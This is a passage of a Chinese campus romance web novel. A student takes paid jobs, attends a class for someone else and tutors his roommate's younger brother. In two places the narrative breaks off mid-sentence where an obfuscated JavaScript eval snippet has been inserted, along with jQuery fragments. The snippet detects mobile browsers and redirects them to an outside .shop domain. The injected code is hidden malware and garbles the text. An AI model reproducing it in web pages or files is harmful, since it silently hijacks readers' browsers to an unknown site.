身侧突然传来很轻的一声笑,宁启洄倏地抬头,瞪视过去,之间岑柏意的嘴角微微翘起,笑意还未收回。 孟柔柔正准备抽第二位同学时,宁启洄立马站起,大声道:“老师,请问我的搭档可以自己选吗?” 孟柔柔先是一怔,随即看到坐在一旁的岑柏意,微笑点头。 岑柏意深觉大事不妙。 果然,就听到身侧报复性极强的未成年人指了指他,说:“老师,我上节课和岑同学配合得很好。” 周围传来小声的讨论: “哇塞,发糖了!” “选这门课是我命中注定!” “嘿嘿嘿好磕,给我同好姐妹打视频现场直播!” 看看现场就算了,打视频直播就过分了嗷! 宁启洄已经听到这些话了,但话都放出去了,现在反悔也来不及了,他硬着头皮补充:“是的,我和岑同学很默契,老师这节课可以继续吗?” 孟柔柔笑着应好,把空地让给了他们,自己坐在讲台上的一把椅子上。 宁启洄有些羡慕地看了几眼,可惜了,他上课不能坐在那里,不然哪里至于每次都和岑柏意坐一块。 岑柏意无奈,还是起身,站在了教室中间的空地上。 今天的舞步得伴着音乐一起来,结合上次的基础舞步,跳一小段。 宁启洄没再逞强跳男步,岑柏意的身高优势摆在那里,再说他根本没有正经学过跳舞,男步女步对他来说都差不多。 两人靠得很近,宁启洄能闻见岑柏意身上有一股内敛深邃的木质香气,很淡,闻着很舒服。 岑柏意温柔垂眸,看着宁启洄此刻的表情。 宁启洄蓦地和他对视,不受控制地想到了那天偷摸看的同人文,脸颊慢慢染上红晕。 12. 兼职 岑柏意眼睛一直落在他身上,注意到宁启洄的变化,他抿起唇。 跳着跳着,岑柏意想起那天晚上宁启洄泛着红霞的脸颊,以及朦胧含水的眸子。 他眸色更深,像是会摄人灵魂的深渊,一旦堕入便会万劫不复。 谢舞礼仪的时候,他的手不受控制地往宁启洄的腰上滑了滑,很轻,像是羽毛挠了挠痒,又很克制的收回来,展开手臂完成一个完美的谢舞。 宁启洄腰一抖,却发现面前这人面色如常,似乎刚才只是完成了一个简单且朴素的谢舞动作。 他不着痕迹地揉了揉腰,心里嘀咕:谢舞需要扶腰吗?还是他感觉错了? 回到座位上,宁启洄心脏砰砰跳了好久,鼻尖似乎还萦绕着那股淡淡的木香。 坐了好一会,心里还是平静不下来,宁启洄呆愣地看着面前的化学作业,有些出神。 他想,同人文真是害人不浅。 得重新翻一篇比较正常的同人文康康,把脑子里的颜色都给洗掉! 光顾着自己发呆,宁启洄也就没注意到,一旁的岑柏意微微侧头,有些紧张地看了他几眼,又低头在自己衣领处嗅了嗅。 很淡的香气,是他特地喷的香水,他觉得,宁启洄会喜欢这个味道。 十二点十分,下课了,宁启洄静静坐着,等待人群散去。 以防被踩到,他还是决定等人少点了再走,至于买饭什么的,这几周就先辛苦辛苦牛马林了。 扭头,发现岑柏意居然也没走。 他收拾好了包,看着他,有些迟疑道:“需要我背你吗?” 宁启洄嘴角绷直,一字一顿,“不、需、要。” 那天的兄弟情荧屏照他这辈子都不会忘记的! 宁启洄斜睨着岑柏意,试图看出这人到底是不是磕学家们派来的奸细,观摩几秒,没看出端倪,只能低头去看手机。 在收回视线的一刹那,宁启洄似乎瞥见岑柏意脸上一闪而过的失落。 “?” 是错觉吗? 宁启洄再次看去,发现毫无破绽——个屁,全是破绽,岑柏意紧抿的唇显示了他此刻的紧张或者是心情低沉。 怎么了?不让背还委屈上了? 难道是上次踩了他的脚心里还在愧疚? 他有些迟疑道:“要不,你再背我一次?” 岑柏意点头,顺从地背对着他蹲下。 看着他丝滑的动作,宁启洄默了默,还是趴了上去。 有人背着能不走路那多好,宁启洄美滋滋地想,岑同学看着高冷,其实是面冷心热啦~ 照片自然又被拍下来,但因为已经出现过一张兄弟情的照片,所以第二张照片倒也没有引起太大轰动,宁启洄对此很满意。 —— 一眨眼,周末很快就到了,宁启洄这个周末忙得很,上午先去面了个试,戏剧社和登山社就很顺利地通过了,不过登山社那个女社员也就是上次纳新看见的那个,表情有点奇怪。 不过宁启洄赶着回家,也就没管这么多。 宁启洄家在大学城边上的一个高档别墅区,风景优美,交通便捷,周围商圈公园密集,除了贵毫无缺点。 苏情不在家里,宁启洄给她发了个消息,说是在胡秋雁女士的美容店玩,他也就没管了。 直奔二楼卧室,宁启洄翻出自己珍贵的集邮册,抿唇,又有点舍不得。 但他现在实在是没钱了,又拉不下脸找宁霄城——也就是他体贴妻子但“苛待”亲崽的严父宁先生,苏情当初已经接济他不少了,如果再找苏女士要,估计宁先生会出手阻止。 宁启洄想了想自己悲惨的人生,哪个富二代过这种苦日子啊! 吸吸鼻子,他还是把邮票抱在了怀里。 里面的每一张最少都能卖出几百块,当然,珍贵的整版邮票他还是舍不得卖,虽然卖得出高价,但是珍贵啊! 宁启洄怀揣着美好想象,觉得只要卖出去四五张,他就能解决目前的生活费危机。 跑到一楼,正好家里做饭的吴阿姨从厨房出来了。 “哎哟,少爷回来了怎么不说一声?”吴阿姨擦了擦手,笑道,“少爷要喝点汤吗?刚熬好。” “不喝了吴阿姨,拜拜!记得喂牧哥和小凤!” 宁启洄摆摆手,他现在没空喝汤,急着回学校。 跑到门口时,突然,他脚步一顿,转身看向吴阿姨,“阿姨,有方便携带的速食吗?” 几分钟以后,吴阿姨看着他家养尊处优的大少爷提溜着两大袋零食跑了,冰箱和零食柜子里空空如也。 是学校给饿着了吗? 吴阿姨不理解,吴阿姨拿着生活经费去采购了。 —— 回到宿舍,宁启洄咬了口糕点,简直要幸福得晕过去了。 虽然不如刚出炉的好吃,但也是吴阿姨今天上午才买回来的,A市最有名的糕点铺子出品,他最喜欢吃他家的板栗酥,很香。 “哟,发达了这是。”江千陵坐在椅子上玩电脑,瞥了眼宁启洄,一眼就认出来那家售价昂贵而且需要等待很久的糕点铺子的包装。 宁启洄摆摆手,他此刻心情很好,热情地邀请他继续吃。 “你这是不需要摆摊了?”看着挺富裕的。 江千陵眯着眼笑,往嘴里扔了个小粒杏仁酥,香香脆脆的,带有杏仁的颗粒感。 宁启洄摇头,喝水顺了顺,把嘴里那口板栗酥咽下去,才说:“不啊,要去的,我集邮册都拿来了。” “?”江千陵看着桌子上堆积如山且都不便宜的糕点零食们,缓缓敲出一个问号,“那这是怎么回事?” 宁启洄看了眼桌子,随口回答:“哦这个啊,我从家里抢的。” 这个“抢”,就很形象。 “……”行吧。 江千陵见他真的把集邮册带来了,试图挽回,“其实,邮票不是很好卖的。” 说实话,有这个爱好的大学生真得不多,宁启洄是他见到的头一个。 “?”宁启洄迷惑,“为什么,邮票多好看。” “?”好看归好看,谁花那么多钱去买邮票? 江千陵扫了眼宁启洄的集邮册,他虽然不玩这个,但基本的眼里还是有的,一眼看过去,价格都是过百,极个别上千了。 他张了张嘴,到底还是继续劝,“跳蚤市场的二手价格一般低于全新的,虽然……”虽然你的邮票没有二手不二手的区别,但是吧…… “试试吧,万一呢。”宁启洄语气低落,似乎也想明白了。 但是,来都来了。 “行吧,到时候人多,你注意点你的腿。”江千陵没再说什么。 —— 跳蚤集市果然很热闹,大多是大二大三大四的学长学姐来买点东西,大一的心声好奇凑过来看看。 宁启洄很快找到一个小摊位,他抱着邮票坐在椅子上,眼巴巴望着人来人往的。 偶尔有人看他,也都是来找他要微信的。 集市结束,宁启洄气呼呼回了寝室,把集邮册好好放在行李箱里,然后坐在椅子上生闷气。 江千陵一看就知道是怎么回事,安慰道:“没事,还能代课呢。” 对诶! 宁启洄眼睛一亮,但又暗淡下来,他不知道哪里有代课的途径,肯定不是走学校官方的,这叫自投罗网。 好在,在A大苟了一年的半老学长江千陵人脉还算广,把宁启洄拉进了一个大群里。 “这个群里都是校友互帮互助之类的,会经常有代课的同学,你注意着点看,不过得注意……”江千陵挑眉一笑,还要说什么,游戏却开了,“反正你量力而行,不说了打游戏了。” 他估摸着,小学弟应该也知道点代课的规矩吧,总不能一个化学系地跑去代体育生的专业课? —— 平和的周末过去了,在周四凌晨两三点,黎遇舟终于捕捉到一个熬夜的可怜人在求助代课。 【鸽子飞飞】:救救我救救我,熬夜蹦迪要补觉,来个兄弟帮我代代课,没别的要求,是男的就行! 这几天宁启洄都在专心蹲守代课消息,不是被这个抢走了,就是不需要代课了准备自己上,这会终于让他逮到一个。 【岁岁平安】:你好。 宁启洄发了个私聊过去,紧张地等待。 没过几秒,对面就回了消息。 【鸽子飞飞】:兄弟这么能熬,你不会也起不来吧? 【岁岁平安】:不会的。 【鸽子飞飞】:那就好那就好,明天下午一二节可以的吧?一教1345教室,点名答到就行,我叫郭飞宇,学号是2024****,开学才几周老师不认人放心,两小节两百可以不? 似乎是语音转文字,对面的鸽子发消息快得很。 宁启洄把输入的消息一个字一个字删掉,两百块钱其实不少,他不知道行情是多少,但总归答个到也不费多大功夫。 【岁岁平安】:好。 对面回了个感恩的哭哭表情包,便没再说话。 宁启洄关上手机,闭目睡觉,他明天还有早八。 意识渐渐涣散,他总觉得还有什么东西没问清楚……是什么呢? 熬完上午的课,宁启洄待在寝室里很兴奋。 林枫晚扒拉完饭,随口道:“阿宁等回去超市吗,我水杯碎了。” 宁启洄摇头,“我下午要去代课,没空。” 林枫晚愣住,“代课?” “宁叔叔把你逼成这样了?!”林枫晚吸了口气,“钱不够找我啊,实在不行算我借你的。” 宁启洄摇头,目光坚定,“这是我赚的第一笔钱。” “鬼扯,初中高中拿的奖学金喂狗了?”林枫晚撇嘴。 “喂你了,请你吃饭了。”宁启洄面无表情。 林枫晚:“……” 拿人手短吃人嘴软,不跟他计较。 —— 宁启洄到教室的时候,人还不多,他不想坐满了教师他再进去,不然估计会有人认出来的,而且他想做最后一排,隔得远。 他有些心虚地把外套拉链全部拉上,挡住自己小半边脸,得亏教室里冷气足,不然他肯定要热出痱子来。 如果不是太引人瞩目,宁启洄真的很想带个口罩墨镜。 直到课程开始,宁启洄隐约意识到哪里不对劲。 这节课的同学都抬着头,认真看着前方的黑板,听得很仔细,完全不像是一个可以随便水过去的课。 做贼心虚的宁启洄又不敢随便问边上的人,只能默默把头埋得更低,看向幕布上一堆乱七八糟看不懂的代码。 这完全就是计算机专业的专业课吧?! 与此同时,坐在中间一排的江千陵戳了戳旁边的岑柏意,示意他往后看,“看看看,那是谁?” 岑柏意原本在听课,这下拧眉转头,对上一个毛茸茸的头顶。 很眼熟,像是头对头睡过一样——宿舍床尾端都有阶梯楼梯,大家都是睡在靠近扶梯楼梯的那头,睡觉时他和宁启洄的头是相对着的,挨得很近。 台上讲课的老师突然开始点名,“岑柏意。” 岑柏意回神,应道:“到。” “江千陵。” “到。” 听到熟悉的名字,宁启洄脑子都快不转了。 这他妈怎么真代到计算机专业课了,还他妈和俩舍友一个班! 岑柏意默默注视着宁启洄,直到老师念到“郭飞宇。” 垂着头的人微微抬头,似乎怕别人认出他,又很快低头,“到。” “……” 真出息了,跑他们班来代课。 这老师虽然是新老师,可这是一节小班专业课,都是计算机一班的同学,哪个不认识郭飞宇? 台下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012923|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小声讨论的声音响起,老师敲了敲讲台,示意安静,“请郭飞宇同学来回答一下我的问题吧。” 郭·宁启洄·飞宇:“……!” 他缓慢起身,那张脸暴露无遗。 除了老师,全班所有人都知道这不是郭飞宇。 但秉持着互帮互助的同学情谊,倒也没人拆穿,只是宁启洄听到有人小声说:“这是追着班长来教室了!好磕!” “……”不用猜都知道,他们说的班长,肯定是岑柏意。 宁启洄硬着头皮看向老师,“老师我没听清,能麻烦您再说一遍吗?” 老师很好说话,宁启洄也看到了岑柏意和江千陵,江千陵摆摆手机,暗示一波。 宁启洄心领神会,打开手机,发现岑柏意发来的消息: 【cby】:十七页第二段照着念 发得很急,句号都没加。 宁启洄很感动,但他感动不起来,这坑货没给他书! 看了眼边上,这位同学拿了包同色薯片试图冒充课本。 “……”没一个靠谱的。 老师把题目重复了一遍,看着依旧沉默不语的宁启洄,叹气:“下次要好好听讲。” “好的老师。”宁启洄乖巧回答,顺利坐下。 “他咋不答啊。”江千陵挑眉,瞥见岑柏意抿起的唇,“你问问呗?” 岑柏意摇头,继续做笔记,但用力握紧笔的手显示主人此刻心情不佳。 “……”活该你单身,长个嘴就知道吃吗? 这话江千陵不敢说,他只能任劳任怨当爱情中介。 一条微信消息弹窗发过来,来自好友【Анатолий】。 宁启洄曾经问过江千陵这个网名有什么含义,他说,这是他母亲给他取的名字,意味着日出和新生。 【Анатолий】:你怎么不回答? 【岁岁平安】:没书,这人太坑了。(哭泣.jpg)替我谢谢他。 【Анатолий】:要谢自己谢。(嘲笑.jpg) “喏。”江千陵把手机挪到岑柏意面前,他们没在群里聊天。 与此同时,岑柏意的手机微微震动,是宁启洄发了消息: 【岁岁平安】:谢谢岑哥~(团子撒花.jpg) 宁启洄盯着“岑哥”这两个字,又看了看那个和头像如出一辙的可爱炸毛团子,眼里缀着细碎的笑意。 从侧面看,江千陵注意到岑柏意嘴角微微翘起一点弧度。 他哼笑两声,“开心了吧。” 岑柏意扭头,看了他一眼,“反正你是要倒霉了。” 江千陵挑眉,视线凝在自己手机上那个(嘲笑.jpg)的表情包上,脸上表情消失。 天老爷啊,他就是随手发个表情包,谁知道点到个这么贱的?! 完了完了,摆摊也失败,代课也失败,小学弟估计已经不信任他了。 事实证明,他猜得没错。 宁启洄已经完全失去对江千陵的信任了,江千陵摸摸鼻子,提议道:“那我们来打牌吧,输了算我的行吧?” 正好宿舍里四个人都在,整整齐齐打麻将。 宁启洄欣然点头,然后被杀了个片甲不留。 事情的经过是这样的,正好隔壁寝室在打麻将,江千陵趁他们休息的时候借了过来,架好桌子开打。 顾着宁启洄的情况,大家决定先记账,打完了再结清。 简单给宁启洄说了下游戏规则,桌上的人都知道宁启洄现在的贫困现状,铆足了劲给他放水喂牌。 仗着放水,这牌输赢玩得也大,总归是想让宁启洄多赢点。 结果几轮下来,纸面上宁启洄的账户里已经负了好几千,这还是记账的江千陵看不下去,偷摸给他减了点负债。 “……” “把单个无法成对或者成顺子的牌扔出去,留对子和三个顺子,其他的见机行事。”江千陵忍不住提醒道。 宁启洄点头。 一声闷响,桌面上,一个红中水灵灵摆在中央。 好一招出其不意! 江千陵微微崩溃,把牌推倒,瞳孔震颤,“你把红中丢出来干什么?” “你让我把不能成对的扔出去,我就一个红中,然后还剩个单幺鸡,反正都是要凑对,我比较喜欢这个鸟。”和他家养的鹦鹉小凤很像。 宁启洄给他看了看另一张牌,是一条幺鸡。 他的牌很好,之前听牌已经吊王,都是成对成顺,剩个单红中,下一轮随便摸个什么都能胡牌。 这下把幺鸡摸起来其实已经胡了,但是他很坚定地打了出去。 都把牌推了,宁启洄看了眼林枫晚的牌,问:“你有三个红中为什么不杠我?” “因为我的红中没你的有想法。”他也是第一次看见它出现在牌堆里。 在场三人:“……” 宁启洄打牌实在是没天赋,也总是忘记红中可以当赖子牌用,吊王这种特殊的局面他也确实不太懂。 林枫晚摸摸鼻子,“要不你帮我写作业吧,我给你钱。” 宁启洄面无表情,“你不如直接让我爸把我打死。”这要是被宁霄城先生发现了,估挨批都是轻的。 想到宁先生的性格,两人默默对视。 江千陵:“……不是,谁知道你一点牌都不会玩,手气也烂。” 净说什么大实话。 林枫晚难得赞同地看了眼江千陵,宁启洄从小手气就臭,班上四五十个人抽一个上去演讲都能抽到他。 宁启洄郁闷得要死,虽然输了算江千陵的吧,但他还是坐在椅子上,为自己接下来一个月的生活发愁。 江千陵戳了戳岑柏意,岑柏意只瞥了他一眼,意思再明显不过:你惹的,自己哄。 江千陵绞尽脑汁想了想,最终得出一个完美方案:“要不,你做家教成吗?低风险高回报见钱快。” 13. 家教 “家教?”宁启洄百无聊赖地刷手机,听到江千陵说,顿时抬头。 江千陵点头,又把他拉进了一个家教群,“这里面有个中介是我朋友,我跟他说说,不收你信息费,紧着你挑单子。” 宁启洄听了个大概,能猜到所谓的“信息费”,估计就是中介抽成的中介费。 “别气了呗。”江千陵眨眨眼,试图萌混过关。 宁启洄笑了笑,“我没生气,只是觉得,自己好像什么都做不好。” 他想了想,这事确实不能怪江千陵,人家好心介绍搞钱途径,只是他自己的理解和方法不太对而已。 听到这话,岑柏意和江千陵都沉默了,想说点什么安慰他,但又不知从何说起。 他们才认识了不到一个月,彼此根本就不熟悉。 只有熟知宁启洄秉性的林枫晚意味不明地笑了笑。 果然,下一秒,就听到宁启洄的感叹,“我好像除了长得帅点高点,家里有钱点,没什么优点了。” 简而言之,除了高富帅,一无是处。 忍了忍,林枫晚没忍住,“阿宁,你现在在找兼职你记得吗?” 你只是个贫穷的富二代罢了。 “……喔。” 见宁启洄并没有受影响,两人这才放心。 “选好了就跟那个猫猫头像的管理员说,那是我朋友,我跟他打过招呼了。”江千陵摇摇手机,就回座位上敲代码了,这周有个小作业,有点难,他还没搞完。 “好。” 宁启洄盘坐在椅子上,翻看群里一条条家教信息,筛选离学校比较近的单子,剩下的大多是初中和高中,大学城的小学比较少。 价格都在60/h到120/h不等,突然,宁启洄看见一个绝佳的单子,学生200人民币一个小时,算是高价了,而且位置就在大学城边上,离得很近,教学内容也很简单,就是初一学生的语数外。 但是这个单子已经放出来好几天了,不该没人接。 江千陵抽空看了眼他这边,随口道:“随便选,时薪越高越好,狠狠宰他一顿,这小子欠我个人情的,不差这点钱。” 宁启洄笑了一下,截屏发给猫猫头管理员了。 猫猫头管理员回复得很快,说这个单子可以接,没问题这周就可以去上课,有一个小时的试教环节,如果家长学生都满意那就可以继续。 管理员又和家长商量了一会,把具体的地址和时间都发了过来,又把家长的微信推了过来。 宁启洄看着这地址,心道难怪,这单价开这么高,云锦天城也是有名的高档别墅区。 时间就定在了这周六下午,也就是后天。 家长的微信头像是一只可爱的银渐层,瞪着圆不溜丢的眼睛看镜头。 【繁星】:你好(微笑.jpg) 【岁岁平安】:您好,我是家教老师宁启洄。 两人客套完之后,就学生的情况进行一番深刻的探讨,并制定了一番较为严谨的计划。 聊着聊着,学生妈妈突然叹气。 【繁星】:哎,其实主要还是他不愿意学,找了好几个老师,都说教不了。 宁启洄觉得大事不妙,他硬着头皮往下聊了几句,约好时间就下线了。 反正,他觉得那位家长是聊得挺开心的。 周末很快就到了,宁启洄揣着自己精心准备的讲义和平板,打车去了云锦天城。 穿过小花园,宁启洄敲敲门,开门的是一个女人,看着三十多岁模样,保养地很好,只是偶尔浮现的细碎皱纹出卖了她的真实年龄,一头卷发搭在身后优雅知性,淡紫色的长裙衬出修长的身材。 “宁老师对吧,快进来。”夏玥笑了笑,把黎遇舟领进了一楼客厅,“宁老师随便坐。” 宁启洄坐在沙发上,看着夏玥进了料理台,端着一个玻璃杯,“宁老师要喝点什么?” 宁启洄摆手,“不用了,谢谢夏姐。” 夏玥一愣,笑得更开心了,“小宁老师,我大儿子和你差不多大,按年纪你都可以叫我一声姨了。” 宁启洄眨眨眼,“可是夏姐看起来很年轻很漂亮。” 女人都喜欢被夸漂亮,更何况是上了年纪的女人,四十多岁的夏玥开心地捂住嘴,转手拆了给小儿子买的饮料。 “小宁老师尝尝,阿念很喜欢喝这个。”夏玥给他倒了一杯,突然又想起来什么,歉意一笑,“好像忘记介绍了,我小儿子叫岑念,山今岑,思念的念,他睡觉呢,刚让阿姨去叫他了。” “……” 别吧,大学城姓岑的应该不止这家吧?不是吧? 在心里疯狂安慰自己,面上不显,宁启洄端起杯子喝了一口,酸酸甜甜的,确实是小孩会喜欢的口感。 他接话:“睡午觉是个好习惯。” 夏玥摇头,无奈道:“哪里是睡午觉,昨天玩了个通宵,早上六七点才睡呢,饭也不吃。” 她真的是对这个小儿子很头疼,不像大儿子从小就听话懂事,这小儿子皮到大,她丈夫又不在家,她性子太温柔根本管不住。 前几天这小子厌学情绪起来了,不得已才把大儿子给叫了回来。 揍一顿就老实了。 这找家教老师,也不全是为了教学科知识,主要还是希望能把他不好的习惯给纠正过来。 “这小子,不听话得很,只有他哥哥训两句他才乖。”夏玥听着楼上的动静,微笑道,“他醒了,小宁老师上去吧,阿姨带着你去。” 宁启洄深觉大事不妙,他隐约记得那天岑柏意从家里回宿舍了,江千陵提到过“夏阿姨”这个称呼,该不会就是面前这位吧? 是就是吧,来都来了,也不能怯场。 再说了,这个家教是人家给江千陵还人情的,他本来就没给信息费,这一单估计原本能赚不少中介费,他还挑三拣四似乎不太好。 岑念的房间在二楼,宁启洄推门,看见一个打着石膏的小孩蹦蹦跳跳从卫生间出来,头发乱糟糟像鸟窝,嘴里还叼着牙刷,唇边沾着牙膏沫。 “怎么是你?!”小孩瞪大眼睛,叫出声。 夏玥听见声音,赶过来,就见新来的老师和她小儿子在大眼瞪小眼。 “小宁老师,你们……认识?” 宁启洄笑道:“在医院见过,他的同学带着他去看医生。” 夏玥点点头,扭头对岑念说:“你好好配合,都气走三四个老师了,再这样只能让你哥回来教你了。” 岑念悄悄翻了个白眼,小声说:“嘁,他才懒得管我。” 离得很近的宁启洄:“……” 该说不说,这小家伙很了解他哥的脾气。 门关了,房间里只剩下他们俩。 宁启洄放下平板和纸质资料,打量着这个房间,很大的卧室,书桌上的书和文具都被挤在一边,中间似乎空了一大片地方,看样子是给电脑腾的,联想前些天岑柏意回家的原因,宁启洄猜测这是岑柏意直接把他电脑给抬走了。 旁边有个很大的玻璃展示柜,里面摆满了各式各样的珍贵手办。 宁启洄有个比他大几岁的小舅,很喜欢手办,这里面就有一个他小舅念叨好久都没买到的绝版手办。 这小子,还挺有钱。 “爱咋教咋教,反正一个小时到了你就得滚。”岑念漱完口,倒在床上玩平板,一副很不配合的样子。 宁启洄没接他的茬,倒是关心了一句,“你的腿没事吧,听说骨折了?” 岑念脸一僵,不高兴地皱起眉,随即大声反驳,“你腿才骨折了!” 宁启洄:“我确实骨折了,暑假的时候。” 岑念:“……”噢。 瞅见宁启洄一脸平静的模样,岑念又不乐意了,翘起二郎腿嘚瑟道:“我恢复能力可强了,几天就好了,才没骨折!” 又扫了眼宁启洄的腿,眼神不言而喻。 宁启洄:“你在医院还叫得那么惨。” 岑念:“闭嘴。” 两人互相扎了几分钟心窝子,终于消停了。 宁启洄尝试着教了几分钟,这小子完全不配合,他问东岑念答西,他指南岑念写北,就是故意跟他对着干。 他算是知道前几个老师是怎样被气走的了。 宁启洄深呼吸几次,觑见岑念偷笑的表情,心道:他只是个孩子我不跟他计较……我的生活费还没着落不能放弃…… 反复几次,心情平静了一些。 “放弃吧,何苦呢。”岑念一副过来人的模样,苦口婆心地劝着。 这臭小子。 宁启洄咬咬牙,给岑柏意打了个视频电话,他在心里祈祷岑柏意现在别在忙,不然大概率不会接到。 好在,电话很快接通,岑柏意的俊脸出现在屏幕里,“怎么了?” 他脸上带着水汽,似乎刚洗了把脸,一滴水珠顺着眉骨往下滑,描绘着坚毅到了轮廓,顺着脖子落入衣领隐藏下的肌肤。 宁启 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012924|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洄把摄像头对准岑念,面无表情开口:“你弟弟。” 稍微一联想,岑柏意就知道发生了什么,前些日子他妈妈确实说过要给岑念找个家教老师来着,他当时还没怎么在意,只听说气走了好几个,没想到现在这单子落到宁启洄手上了。 岑念表情一僵,讪讪道:“哥。” 完全没有刚才嚣张的气势,像只打了蔫的纸老虎。 “去书桌前坐好。”岑柏意淡淡道。 岑念麻溜起身,背板挺得笔直,真是要多乖有多乖。 宁启洄旁观全程,啧啧几声,得出结论:估计没少被他哥打,两人差了七八岁,岑念完全被岑柏意压制,估计是按着锤的。 宁启洄拿着手机靠近,微笑看着他,“还学吗,小岑同学?” 岑念咬牙切齿道:“学!” “岑念,礼貌点。”岑柏意的声音再次传出。 我靠怎么还没挂电话!你们他妈是在煲电话粥吗?! 岑念背脊瞬间绷直,动都不敢动,眼睛直直望向桌面。 见效果达到,宁启洄正要挂电话,就听岑柏意说:“视频别挂,上完课再挂。” 宁启洄挑眉,岑柏意继续道:“不这样他不会听话。” 岑念:“……”你可真是我的好哥哥啊。 不过岑柏意确实猜得没错,岑念就是打着这个主意——只要岑柏意把电话挂了,他就把宁启洄赶出去。 没想到,他哥居然玩这出。 岑念都快哭了,却在他哥的逼视下,不得不认真听课。 电话这头,岑柏意把手机放在支架上,安静地敲代码,隔一会去看看屏幕那边是否安好。 那边的小宁老师垂着头,耐心给基础很差的岑念小朋友一遍遍讲述这道数学题的原理,很温柔,是他没见过的温柔。 突然,宁启洄抬头看了眼镜头,似乎在确认他还在。 岑柏意猜测,可能是岑念又不听话了。 鬼使神差的,岑柏意截了个屏,然后把岑念的身体给截掉了。 画面里,岑柏意的眼睛直直看过来,唇角微微翘起,很温和平静。 默默欣赏片刻,岑柏意觉得,估计下个星期开始,宁启洄就得原形毕露了,岑念要遭殃。 有些幸灾乐祸地笑了笑,身后的江千陵转身凑过来,“笑啥呢岑哥,给我看看?” 一抬头,就看见宁启洄那张放大的俊脸以及岑念那欠揍得不行的表情。 “哟,这就煲上电话粥了?”江千陵揶揄道。 “他在我家做家教。”岑柏意淡淡道。 给人介绍家教的江千陵:“……” 误伤了兄弟,报一丝。 上完一堂课,岑念身心俱疲,感觉上次这么累还是几天前挨了他哥一顿揍,好在他哥顾忌着他腿伤了,不然他怕真是要去见列祖列宗了。 想到这里,岑念恶狠狠瞪视宁启洄。 都怪他,要不是这人给他哥打电话,他至于这么累吗?! 宁启洄收好资料,觑见岑念的表情就知道他在心里骂自己,他笑眯眯道:“怕你哥哥?” “嘁,谁、谁会怕他!”就很没有说服力。 “我电话可还没挂哦~” “嗷!哥我错了!”岑念差点蹦起来,急忙想找个遮蔽物挡住自己不被哥哥看到。 宁启洄:“……”岑柏意到底是做了什么,他弟弟居然这么怕他。 “好啦好啦,逗你的。”宁启洄依旧是笑着的,但在岑念看来,这简直就是恶魔般的存在。 岑念叉着腰瞪了他几眼,却见这人依旧笑着看他,就气哼哼地杵着拐杖往门外走,边走边嚷嚷:“我让我妈开了你!你不许来了!” “……” 还开了他,都没合同开什么开。 宁启洄默默吐槽。 “你想清楚哦,如果我也被辞退了,下次大概率就是你哥哥亲自上场咯~”瞥见岑念骤然停顿的身体,宁启洄笑容更甚,“还要开了我吗,岑念小朋友?” —— “小宁老师,那之后就麻烦你了。”夏玥听到岑念愿意留下他的时候,高兴地快要哭了,天知道这小子有多难搞,她此刻看向宁启洄的眼神,简直是在看天使,“阿念除了他哥哥的话谁都不听,你能帮忙管一管真的太好了!” 宁启洄微笑:“阿念很聪明,我一定会尽全力教导他的。” 其实这也是你家大儿子的功劳啦,他只是个狐假虎威的小狐狸罢了。 14. 将军 等宁启洄回到寝室,几人都围了过来,林枫晚叽叽喳喳在问顺利吗。 他回来得比较迟,到寝室后岑柏意已经挂断了和宁启洄的通话。 宁启洄笑着点头:“挺顺利的,只是……” “怎么了?” “只是我没想到会是你的弟弟。”宁启洄看了眼岑柏意,林枫晚的视线也转了过去。 一股难言的氛围骤起,此话一出宁启洄诡异地沉默了。 在那篇同人文里,宁启洄,哦不,那位宁回回,在文中也曾cos一位家教老师,不巧那位学生正好是岑易同学的弟弟——他估计原作者想写岑易来着,但因为学神光环太耀眼,实在不敢相信学神找家教的画面。 现在好了,噩梦成真了。 江千陵打着哈哈,“都饿了吧,要不去食堂吃个饭?” “不了,我回家一趟。”岑柏意摇头,拎着收拾好的包走了。 江千陵:“……”没看我在给你创造机会呢,真是活该你没老婆。 宁启洄回来的时候已经五点多了,他就在东一门买了点吃的,也就没跟他们去。 最后,只有老父亲般操心好大儿恋爱进展的江千陵和饿得要死的林枫晚去了食堂。 夜晚,寝室里三人各忙各的。 气氛实在压抑,江千陵笑着说:“怎么了,和岑哥闹别扭了?” 宁启洄摇头。 江千陵叹气,“就因为贴吧的事情?” 宁启洄有些迟疑,但还是点点头,同人文……也算是贴吧的事情吧。 虽然知道两人说的都不是同一件事,但宁启洄还是咬着牙认了,总比被人知道他看自己和岑柏意的同人文要好,还是超大尺度的颜色小本子。 不得了。 江千陵有些苦恼地皱起眉,半晌,他说:“其实吧,那些聊天记录也不是我发出去的,是我朋友,他知道我是借了岑哥的照片去网恋,趁我喝醉了拍我手机聊天记录发帖吧开个玩笑,没想到热度现在下不去了,他也很慌,删也不好删。” “……”原来这么简单的吗,就是一个恶作剧吗。 “我靠,这么阴险的?!”看似一直在打游戏实则分了只耳朵在偷听的林枫晚坐不住了,他说害自己担惊受怕的这么久的家伙是谁呢。 虽然看CP帖能看出来不是江千陵发出去的,但林枫晚一直都猜测他们认识,不然怎么可能看到江千陵的照片? 结果……呵呵。 “你要是实在介意,我和岑哥商量一下,看怎么处理,把帖子撤了。”现在CP贴热度太高了,轻易撤掉估计会引起众怒,怨气比鬼大的大学生磕点糖的乐趣都被抑制了。 宁启洄:“……”这还要商量的吗? 不是,这有什么好商量的?岑柏意不应该立马答应下来吗?!! 